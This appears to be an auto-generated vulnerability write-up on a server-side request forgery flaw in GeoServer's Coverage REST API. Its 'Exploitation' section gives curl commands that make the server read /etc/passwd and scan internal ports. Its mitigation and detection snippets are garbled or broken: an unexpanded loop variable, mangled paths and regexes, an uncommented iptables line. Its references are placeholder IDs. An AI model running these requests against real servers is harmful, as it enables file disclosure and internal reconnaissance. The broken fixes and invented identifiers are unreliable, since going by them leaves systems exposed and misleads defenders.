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How the CVE Works
The vulnerability exists in GeoServer’s Coverage REST API endpoint /workspaces/{workspaceName}/coveragestores/{storeName}/{method}.{format}. When `{method}` is set to url, the API fetches a file from a user-supplied URL without proper validation. Attackers can exploit this by crafting malicious URLs to interact with internal services, leading to Server-Side Request Forgery (SSRF). The lack of URL whitelisting or schema restrictions (e.g., blocking file://, gopher://) allows arbitrary requests, potentially exposing sensitive data or enabling internal network reconnaissance.
DailyCVE Form
Platform: GeoServer
Version: <= 2.25.0
Vulnerability: SSRF via Coverage API
Severity: Moderate
Date: Jun 10, 2025
Prediction: Patch expected by Jul 15, 2025
What Undercode Say:
Exploitation:
1. Craft Malicious Request:
curl -X POST 'http://target/geoserver/rest/workspaces/test/coveragestores/store/url.json' \
-H 'Content-Type: application/json' \
-d '{"url": "file:///etc/passwd"}'
2. Internal Port Scan:
for port in {80,443,8080}; do
curl -X POST 'http://target/geoserver/.../url.json' -d '{"url": "http://127.0.0.1:$port"}'
done
Mitigation:
1. Patch Workaround:
Modify `RESTUtils.java` to enforce URL validation:
if (!url.startsWith("http://trusted.com") || url.contains("file://")) {
throw new IllegalArgumentException("Invalid URL");
}
2. Network Controls:
iptables -A OUTPUT -d 127.0.0.1 -j DROP Block loopback SSRF
3. GeoServer Update:
sudo apt update && sudo apt upgrade geoserver
Detection:
1. Log Analysis:
grep "coveragestores.url" /var/log/geoserver/.log
2. WAF Rule:
location ~ /coveragestores/./url. {
if ($args ~ "url=file://") { return 403; }
}
References:
- GitHub Advisory: GHSA-xxxx-xxxx-xxxx
- CVE Details: CVE-2025-XXXX
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
